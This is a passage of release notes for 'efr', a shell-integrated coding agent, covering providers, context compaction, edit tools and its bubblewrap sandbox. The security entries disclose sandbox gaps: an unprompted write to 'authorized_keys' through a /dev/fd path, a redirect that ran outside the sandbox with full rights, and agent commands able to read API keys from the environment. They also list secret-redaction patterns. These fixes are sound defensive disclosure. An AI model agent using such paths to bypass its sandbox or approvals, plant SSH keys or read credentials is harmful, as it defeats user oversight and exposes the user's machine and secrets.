efrfollows a turn with the input row,efrconnects again. Prompts that you queued and steers that the model did not read come back to your command line when the restart cancelled them. A steer or a prompt whose answer the restart lost is not sent twice. When efrd does not come back, they come back too. SIGTERM and SIGHUP endefrat once also while it connects again. - The diff of each file write shows in its call block, in the diff colours: the first
render.diff_lineslines (default 20), then a mutedโฆ N more lines. This works in every directory. - A shell call that changed files gets one muted row under its result, such as
changed src/a.rs +3 โ1 ยท deleted old.rs ยท new notes.md (+2 more). A turn that changed files gets a muted line such as3 files changed, +24 โ7before its end. This works in registered projects (git or not) and in$SCRATCH. The row and the line show what changed while the call or the turn ran, also a file that another conversation or your editor saved at the same time. efr diffprints what a turn changed: by default the last turn of this terminal's conversation,--turn <id>for another,--statfor the list of files. In a pipe it writes the plain diff. An ignored file such as.envshows in the list, but its content stays out of the diff.- efr's own snapshot store: one bare git repository per registered project or
$SCRATCHbelow the data directory. It never writes the project's.gitor index. The[snapshot]table sets it (snapshot.enabled, size limits,keep_turns,max_age_days). - efrd has the parts that the input row of a turn needs. A steer that comes too late
for the running turn can become a queued prompt (
turn.steerwithif_late). You can take back a prompt that waits in the queue before it starts (prompt.withdraw). An interrupt can take back the queued prompts of one terminal and send its unread steers again as one new prompt, which runs next with the settings of that terminal. An interrupt can also take back unread steers, so that no model call reads them (steering_withdrawn). efrd records when a model call reads a steer (steering_delivered).efr historyshows a prompt that you took back aswithdrawn before it ran, and steers that you took back astook back a steer that the model did not read. - efrd sends the conversation id as the prompt cache key of every model request, and
on the subscription also as the
session-idheader, as Codex does. The requests of one conversation then go to the same prompt cache. turn_completed,turn_failedandturn_interruptedsay how full the model's context is (context: the tokens, the point where efrd compacts and the window). Theirusagealso gives the cached input tokens, the reasoning tokens and the context of the last model call (context_tokens). A client that follows a turn gets acontextdraft before and after each model call.- An entry of
[openai] modelscan be a table that gives the model's limits:{ id = "gpt-next", context_window = 400000, max_output_tokens = 128000 }. An entry can also name a built-in model to change its limits.models.listshows the context window of each model that efr knows. On an API key, a model's own output limit wins over[model] max_output_tokens. - efr compacts the context of a conversation before it fills the model's window. When
a request reaches
[compaction] auto_atpercent of the window (76 by default), efrd first gives old tool outputs a short stub, when that frees at least 20000 tokens. When that is not enough, the conversation's own model writes a summary with fixed sections: the task and its state, the decisions, the important details, the files and places, the open work and the next step, the directories and the shell, and the open system tasks. The next requests send a fresh block that efrd reads from disk (your directory, the hidden shell's directory and its jobs, the git status and theAGENTS.mdfiles from the project root down), the summary, and the newest messages word for word, about 20000 tokens. The turn goes on after the compaction.[compaction] auto = falseturns it off. All events stay in the log. The history keeps every earlier turn that the model's window can hold, so the compaction makes room, not a limit of turns or bytes. A summary that the model cuts off at its output limit never replaces the history. When the history does not fit in the summary request, its oldest messages go, and the summary, the compaction's line and the log say how many. efrshows how full the model's context is. The status row of a running turn, and the line of a running command, end withctx 43%, and the end-of-turn line readsdone in 42s, ctx 43% (89k/206k), 1.1k out. 100% is the point where efr compacts the context. The field is green below 50%, yellow from 50% and red from 90%, in the colours of your theme. While efr compacts the context, the status row sayscompacting context. Each compaction leaves one dim line, such ascontext compacted (auto): 231k -> 24k tokens, kept 3 turns, summary 3.2k, or a line that says that the context is full and what to do.efr historyshows the same line at the place of each compaction, and--verboseadds the summary. A client that attaches while a turn runs shows the field at once.efr compact [focus]and,compact [focus]compact the context of a conversation now, between turns: efr writes a summary of the earlier turns and keeps the newest turns word for word. The focus says what the summary must keep. It starts no turn, and a prompt that you send meanwhile waits for it. While a turn runs, efr refuses it. A retry of the same command waits for the compaction that runs. The plugin hands the focus toefrin its environment, as it does a prompt.- efr knows the current OpenAI models (gpt-6.1-sol first) with their windows and
efforts, from a table built into efr. efrd also asks the ChatGPT backend for its
model list in the background, at start, after
efr login openaiand then every hour, with efr's own version. Today the backend lists its models only for Codex versions, so the built-in table stays in use. A prompt never waits for this request. When the backend sends a list that efr can use, it applies from the next turn on, and efrd keeps it in its state directory (~/.local/state/efr/model_catalog.jsonby default) for a start without network. Models that the backend hides, or whose tools efr cannot send, are not offered. efr modelsshows the context window of each model and the largest window that[openai] modelscan set, such asgpt-6.1-sol 272k (up to 872k), and a last line that says where the list came from:models: from the backend, fetched 5m ago,from the cache, fetched 2h 5m agoorbuilt into efr.efr statusshows the same as itsmodelsline.- A
context_windowin[openai] modelscan raise or lower the window of a model of the list, up to its largest window. Above that, efrd uses the largest window and warns once in its log, andefr config checkadds a note. - The token counts of a turn on the protocol now include the input tokens that the
provider wrote to its prompt cache:
cache_write_tokens, andcache_write_1h_tokensfor the part that it keeps for an hour. efr reads OpenAI's count of cache writes. Likecached_input_tokens, both are parts ofinput_tokens. - The end-of-turn line shows the part of the turn's input that the provider's prompt
cache served, such as
done in 42s, ctx 43% (89k/207k), 1.1k out, cache 91%. A cache write counts as a miss. The line shows it only when the turn's input is 2048 tokens or more, because a smaller input never makes a cache entry. - Claude models with an Anthropic API key, provider
anthropic-api. Log in withefr login anthropic, set[model] provider = "anthropic-api"and restart efrd. efrd streams Anthropic's Messages API, sends the signed thinking of each answer back unchanged, and sends an effort to each model that takes one:mediumunless you set another. A new[anthropic]table hasbase_url,models,cache_ttlandworkspace_id(for a key that is not scoped to one workspace).cache_ttl = "auto", the default, keeps everything in the prompt cache for an hour, because an entry for one hour cannot build on an entry for five minutes;5mkeeps everything for five minutes. - The debug log of efrd gives each model call the time since the start of the
conversation's call before, as
gap_ms. Each request to Claude also writes one line with its prompt cache markers and their times, such ascache_ttl=auto markers=S1h,A1h,P1h,T1h. With the token counts of the turns, these lines show which[anthropic] cache_ttlcosts less. - efr has no built-in list of Claude models. The models, their windows, their output
limits and their efforts come from the API's model list, which efrd fetches at
start, after a login and every hour, and keeps in
anthropic_model_catalog.jsonin its state directory. Until efrd has a list, a prompt waits for one fetch. The default model isclaude-opus-5-5. Without a key, a turn fails and says to log in. efr modelsandefr statusname the provider of the model list, such asmodels: anthropic-api, from the backend, fetched 5m ago, and say when efrd has no list yet.efr config checkalso notes a window of[anthropic] modelsabove the largest window of its model.- A new
edittool for Claude models. It replaces the exact textold_stringof one file withnew_string, once, or at every match withreplace_all. When the text occurs more than once withoutreplace_all, or does not occur, no file changes and the model gets the count or the nearest lines of the file. In a file with Windows line ends, the model's line breaks match them. A request offers a model eitherapply_patch(OpenAI models) oredit(Claude models), never both, and a call of the other one does not run. An edit needs approval where awrite_fileof the same file does. The question shows the diff of the file, andefrshows the call asedit <path>. - Logins with an API key:
efr login openai-apiandefr login anthropic(alsoanthropic-api). efr reads the key at a prompt that does not show it when stdin is a terminal, else from stdin, or with--from-envfromOPENAI_API_KEYorANTHROPIC_API_KEYof your shell. It never takes the key as an argument. efrd checks the key with one request that runs no model,--no-checkskips the check, and then efrd keeps the key in itssecrets/directory. A login does not change the provider of new conversations: efr says how to set[model] providerand that efrd needs a restart. efr logout <provider>forgets the login ofopenai,openai-apioranthropic. A key stays valid at its provider; efr says where to revoke it.efr statuslists every provider (openai-subscription,openai-apiandanthropic-api), shows the start and the last four characters of each stored key, such assk-ant-...a1b2, and marks the provider of new conversations with(active). Its line about a missing login names the login of that provider.efr logoutof the provider of new conversations warns on stderr: the provider stays in[model] provider, so its turns fail until you log in again. A logout recordslogout_completedin the event log, with the provider and nothing of the key. The answer ofadmin.logouthas a newactivemember.efr statusshows when a provider refused its stored API key, such askey sk-ant-...a1b2 refused at 2026-10-09T12:03:00Z (5m 0s ago), after a 401 on a model call or on the fetch of the model list. The mark goes away when a request of the same kind with the key works again, or after a new login or a logout. After a model call that worked, a refused fetch of the model list does not show, so a key whose scopes allow one endpoint and not the other does not flip the mark each hour. For the active provider, a line on stderr says that its turns fail and how to log in. A provider in the answer ofadmin.statushas a newkey_refused_atmember.- After
efr login openai-apiand afterefr config set model.provider openai-api, one line says that OpenAI bills the API key per token, apart from a ChatGPT plan. - A
[model] nameof another company than[model] provider, such asgpt-5.5withanthropic-api:efr config checkwarns about it with the fix, efrd logs a warning at start and after each reload, and a prompt that names no model of its own fails at once with the cause and the fix (set[model] nameto a model of the provider, or remove it). An id in the config's list of models of the provider's company is not of another company. - When efrd has no list of Claude models at the start of a turn, the prompt now fails
with the cause instead of a turn that says that the provider does not serve the
model. Without a stored key, it says
log in with efr login anthropic. After a failed fetch, it saysefr could not fetch Claude's model listand why, such as the API's message for a refused key. A model whose output limit the config gives still runs without a list. - New keys
[openai] organizationand[openai] project, sent as theOpenAI-OrganizationandOpenAI-Projectheaders of every request with an API key. Both need a restart of efrd. - A new page,
docs/providers.md, tells how to log in with an API key, how to change the provider, which settings the Claude models have ([anthropic] cache_ttland whatautodoes, the workspace id, a smaller window), and what makes the prompt cache miss. - Do not put an API key in the environment of the efrd service: efrd does not read
it, and it gives its environment to the hidden shells, where a command of the agent
can read it outside the
autosandbox.docs/providers.mdsays more.
Changed
-
Each request to the model now starts with the request before it and its answer, so the provider's prompt cache reads the earlier turns again and a long conversation costs less. The prompts of earlier turns keep their
<live_state>block, and the system prompt tells the model that only the newest block is current. efr keeps the exact messages of every turn since the last summary, not of the newest 50 turns only, and a conversation of more than 4096 events no longer leaves out its oldest turns. Before, each turn changed the prompt of the turn before it, and from the 51st turn on each turn also changed the oldest turn. -
When the history would leave out a turn, such as after a change to a model with a smaller window, the turn compacts first, also below
[compaction] auto_at. Before, the history left out one more turn at each turn. -
The fresh context block of a compaction (your directories, the git status and the
AGENTS.mdfiles) is now part of its record, andconversation_compactedcarries it asfresh. After a restart of efrd, a request sends the same block. Before, the next turn read the files again. -
The default system prompt tells the model to change files with the edit tool that it has,
apply_patchoredit, not withapply_patchonly. -
With an OpenAI API key, efrd asks the API for the ids of the models that the key can use, at start, after a login and every hour, and offers only those models of its built-in list. The efforts are the API's: no model offers
ultra, andmediumis the default effort of every model. -
An OpenAI answer of 429 for a used-up quota or a spend limit, such as
insufficient_quota, now fails the turn at once. Before, efr sent the same request up to three more times. -
With an OpenAI API key (
openai-api), a key that the server refuses now fails the turn at once, and the error shows the server's reason, such as an expired key or a missing scope. Before, efr sent the same key a second time and showed no reason. -
The default model is now the first model of the backend's list (gpt-6.1-sol today), not gpt-5.5, which the backend lists as its legacy model.
[model] namestill wins. The first id of[openai] modelsno longer picks the default model. The window, the efforts, the default effort and the tool form of each model come from the backend's list too. With an API key, the built-in list stands in, so a model that it does not hold needs an entry in[openai] models. -
When efrd cannot fetch the model list, it tries again after 15 seconds, then after 30 seconds, 1 minute and 2 minutes, then every 5 minutes. A good fetch starts the waits over. Before, it waited 5 minutes each time, so after a start before the network was up, the list came late.
-
A long command no longer leaves a short first word alone in its row (
cp \). A row breaks at a space only when it is at least half full; else it breaks inside the word withโฉ. -
The hint of an empty input row starts one column after the cursor. Before, a block cursor stood on the first letter of the hint and seemed to cover it. efr does not change the cursor shape.
-
The note
interrupted to send your messagenow comes after the call that Esc stopped and after the end of the interrupted turn. Before, it came above the stopped call. -
efr historyshows the lines of each turn together, and the turns in the order that they started. Before, it showed the events in the order that they came, so a prompt that you queued or sent again with Esc showed in the middle of the turn before it. A prompt that you took back shows where it was in the queue, with the notewithdrawn before it ran. -
A call in
autocosts less in a project with nested git repositories. The surface guard runs git only for a git config that changed since the last call, reads no*.samplehook, and lists directories faster. In a copy of efr's own repository, the guard went from 15 ms to 6 ms per call. -
When the model refuses a request as too large for its context window, efrd never sends that request again as a retry. It compacts the context once and sends the request again. Before each model call, efrd estimates the size of the request, and it never sends a request above 95% of the window. When the model refuses the request again, when auto compaction is off, or when the request stays above the cap, the turn fails with a message that names the cause, the size and the way out, such as
the context is still full after a compaction: the model refused about 281k of 272k tokens; run ,compact or start a new conversation. When the compaction fails, the message also says why, such asthe compaction failed (the provider is rate limiting requests). After two compactions in a row that leave the context too full, efr stops compacting on its own and says so, also in the next turns, until the context is below the trigger again or you run,compact. Before, the turn failed with the provider's own message. -
When the history of a long conversation leaves out earlier turns, the model reads
3 earlier turns are omitted.first, and efrd logs a warning. Before, the turns went without a trace.
Fixed
- efrd no longer loses a steer at the end of a turn. Before, efrd accepted a steer
that came after the last model call of the turn or after an interrupt request, and
no model call read it. Now efrd never records such a steer. It refuses a steer from
,!with a conflict, so you can send the text as a new prompt. A steer from the input row becomes a queued prompt. - efrd now ends a turn before it tells the clients that the turn ended. Before, a steer or an interrupt that you sent just after you saw the end could go to the ended turn, and a prompt could wait behind it. Now efrd refuses the steer and the interrupt, and the prompt starts at once.
- Ctrl+C while the auto sandbox starts a call now stops the call, with status 130. Before, the call could fail with status 125 and the message "the sandbox could not start", and efrd checked the sandbox again for no reason. A Ctrl+C that came just before bwrap started was lost, and the command ran to its end.
- The sandbox launcher no longer hangs when Ctrl+C ends bwrap while bwrap starts the sandbox.
- Ctrl+\ (SIGQUIT) now stops a shell call of the auto mode, as Ctrl+C does. Before, the child shell of the call ignored it. A Ctrl+\ during the line stopped only the running command, and the rest of the line ran. A Ctrl+\ just before the line was lost, and the line ran.
- A
TRAPINTorTRAPQUITfunction no longer lets a line of the auto mode go on after Ctrl+C or Ctrl+. Before, such a function of your shell, or one that an earlier call made, could catch the signal in the child shell of the call. - A client that resumes
pty.attachwithsince_seqnow gets each new size that the PTY took while the client was away, asresizedat its place in the output. Before, the recording did not keep sizes, so the client got the output only. The recording keeps the sizes now, and older recordings still read. - The time that a new hidden shell takes to show its first prompt no longer counts
against the
timeout_secondsof a shell call. A slow.zshrcmade short calls fail with "an earlier command is still running", although no command ran. The startup timeout (10 s) limits that wait now. When a new shell never shows a ready prompt, the model reads that no command ran in it yet. - The hidden shell now follows you when you change directories between two prompts. Before, it stayed where the model left it, so the model worked in the old directory or used long paths. Now efrd moves the shell to your new directory before the turn starts. The shell keeps its variables. When you did not move, the shell stays where the model put it. While a command still runs in the shell, the shell stays, and the model reads where it is.
- The model now reads that you changed directories since the previous prompt, and
whether its hidden shell moved with you. Before, a short follow-up such as
and here?could go to the old directory. - After a restart, the model reads each steer of an earlier turn at the place where it read the steer during that turn. Before, a turn without saved messages showed a steer where you typed it, and also showed steers that the model never read, such as a steer of a failed turn or a steer that you took back.
- A conversation that grew on a model with a large window now goes on with a model of a smaller window, such as a move from a Claude model (1M tokens) to an OpenAI model (272k tokens). The first turn on the new model compacts before its first call, and the summary request fits the new window: it first leaves out the newest messages, which stay after the summary word for word, and then the oldest messages. The summary says when it left out old messages. Before, efr sent the whole history in the summary request, and the provider refused it once as too large.
- When you change to a model with another edit tool, such as from a Claude model with
editto an OpenAI model withapply_patch, the new model reads the earlier calls of the other tool, and their results, as text. A call of a tool that efr no longer has shows as text too. Before, efr sent them as calls of a tool that the request did not offer, which a provider can refuse. The text is the same in every request, so the prompt cache still reads it. When you change back, the calls go in their own form again. - After a switch of
[model] provider, the first turn on the new model estimates its request. Before, it started from the context that the old model reported last, and when that count was above the cap of the new window, the turn failed as full. ,compactright after a switch of[model] providernow uses the default model of the new provider. Before, it sent the summary request with the model of the newest turn, which the new provider does not serve, and the compaction failed.- When the newest messages alone do not fit in the context, the error now says to
start a new conversation. Before, it said to run
,compact, which then answered that there was nothing to compact. - On Claude, when the model calls a tool that the request does not offer next to a tool that it offers, in one answer, the next request of the turn keeps the thinking of that answer. Before, efr sent that answer without its thinking, and the Messages API can refuse such a request, so the turn failed.
- On Claude, a prompt after a turn that ended early now goes as a message of its own, as after an interrupt while a tool ran or after a model call that failed, and the new turn now gets its one-hour cache entry. Before, efr joined the prompt to the last message of that turn, and the new turn had no one-hour cache entry.
- Each
<live_state>block now starts with the rule that only the newest block is current. Before, only the default system prompt said so, and a[model] system_promptof your own lost the rule, so the model could read an old directory as the current one. Blocks that efr sent before keep their bytes. - The first key that you type after a question or a password prompt appears no longer goes to the input row. Before, when efr read a key from the terminal at the moment the question appeared, efr could count that key twice, and then the next key, such as the first letter of a password, went to the row.
Security
- The
<live_state>block shows your last command with its secrets redacted: the value of an assignment to a name that looks like a secret, such asexport GITHUB_TOKEN=...or--api-key=..., also inside the value of an option, such as--env=API_TOKEN=...or--from-literal=password=...(a count such as--max-tokens=4096orTOKEN_COUNT=5stays); each word in the form of a known key (sk-ant-,sk-proj-,sk-,ghp_and the other GitHub token forms); the password of a URL, such ashttps://user:...@host; the value of anAuthorization,Cookieor other secret header, such as-H 'Authorization: Bearer ...', without its scheme, where a header stands (a search pattern such asgrep "Authorization: Bearer"stays); and the password option of the programs that take one, such asmysql -p...,sshpass -p ...,docker login -p ...andcurl -u user:..., also among other short options in one word (curl -su user:...). efr now saves the block with the turn and sends it again with every later request, so a secret there would reach the disk and every request after it. The list of patterns cannot find every secret: a secret in another form stays in the command.
0.0.2 - 2026-10-08
The reply view is new: replies stream without lag, a status row shows what runs, and tool calls and questions have a clear layout. This release also fixes two sandbox bugs.
Added
- Streaming drafts. efrd sends the text of a running turn to the reply view every 16 ms, and never writes these drafts to the event log. A reply now reaches the screen about 7 ms after the model sends it (it was about 100 ms).
- A status row under the reply while a turn runs: a spinner, the state (waiting for
the model, thinking with the title of the reasoning, writing, preparing a tool call,
stalled, waiting for you) and the time. The clock stops while a question waits.
render.motion = falseturns the shimmer off. - An end-of-turn line, such as
done in 24s, 18.2k tokens in, 1.1k out(render.turn_summary). - A progress indicator in the terminal tab during a turn (OSC 9;4), in Ghostty 1.2 or
newer, kitty 0.47 or newer and Windows Terminal, but not in tmux, GNU screen or
zellij (
render.progress). - Colour roles for every part of the view: text, muted, accent, heading, link, code,
success, warning, error, quote and the diff roles.
[render.colors]sets one role, andrender.paletteloads a theme file with a[colors]table and an optionalcode_theme(a.tmThemefile). The eggfriedrice.nvim colour scheme ships such a file asextras/efr/eggfriedrice.toml. render.theme = "auto"withrender.theme_darkandrender.theme_light. The zsh plugin asks the terminal for its background once and setsEFR_TERMINAL_BG.- Character widths by grapheme cluster in Ghostty, so emoji and flags no longer shift the live zone.
- Debug log lines with the time of each step of a call (
phase=... elapsed_ms=...).docs/sandbox.mdtells how to read them. CHANGELOG.md, and release notes that come from it.
Changed
- Tool calls are blocks:
ยท $ commandin the code colour, a mutedโoutput tail while it runs, and a result row (โ 0.4sorโ exit 3 ยท 2.0s). A failed call keeps its last 3 output lines. A long command wraps at the width and is never cut. - Questions are cards with a thin muted bar and a title such as
? allow outside the sandbox. After the answer, a card gives its place to one line,โ allowedorโ denied, and the command shows only once. - One blank line between blocks, and none inside a block.
- Markdown: no label above plain code blocks, a file name when the fence names one, inline code in the code colour, one heading colour, quotes in italic, and a rule of at most 40 columns.
- The default accent colour is yellow (ANSI slot 3).
sudo -k(and-K,--reset-timestamp,--remove-timestamp) can stand beside the one command of a line that runs outside the sandbox.- A failed call no longer says
(sandbox)in its result; the end-of-turn note says that the turn ran in the sandbox. - A question no longer says that its target exists. It still says when a target is a directory, because a write grant then opens all of it.
- The reply view no longer prints
answer sentafter a password answer.
Fixed
- A redirect to
/dev/null(and to the other nodes of the sandbox's own/dev) was a write exit inauto: the line asked you and then ran outside the sandbox with your full rights. It now runs in the sandbox with no question. - A command line that wraps inside a word no longer looks like two words; such a cut
is marked with
โฉ. - When stdout is not a terminal, a call's rows come after its question and answer, as on a terminal.
- The status row no longer shows the reasoning title of an earlier model call.
- Ctrl+C during a turn says how long the turn ran.
- The cursor always comes back, also after a signal.
Security
- A path below
/dev/fd/<n>/or/dev/pts/<n>/counted as a node of the sandbox's own/dev, so a write such asecho x > /dev/fd/3/authorized_keyscould run with no question. Now only/dev/fd/<n>and/dev/pts/<n>themselves count; a path below them is a write exit that only you can allow.
0.0.1 - 2026-10-07
The first release, on the AUR as efr-code and efr-code-bin.
Added
- efrd, a user daemon with an event log in SQLite, one hidden zsh for each conversation and a terminal screen model (libghostty-vt).
- The efr CLI and the zsh plugin: a line that starts with a comma goes to the agent,
and the reply streams below it. Sticky agent mode,
,new,,!to steer a running turn, and,mode,,modeland,effortfor each terminal. - The OpenAI provider, with the ChatGPT subscription login (
efr login openai) or an API key. - The tools
shell,read_file,write_fileand the settings tool, with approval questions in the terminal. - Answers to programs that wait for input, such as
sudoandpacman, also behind a relay, with hidden input for passwords. - Permission modes
manual,cautiousandauto, with rules inconfig.toml. - The
autosandbox: each command runs in bubblewrap with Landlock and seccomp; it writes only in the project,$SCRATCH, a private/tmpand private caches, and every action that leaves the sandbox asks you.efr sandbox checkandefr sandbox explain. efr project add,efr project listandefr project remove.- Settings in
config.tomlwith live reload,efr configcommands andefr paths. - The AUR packages
efr-codeandefr-code-bin.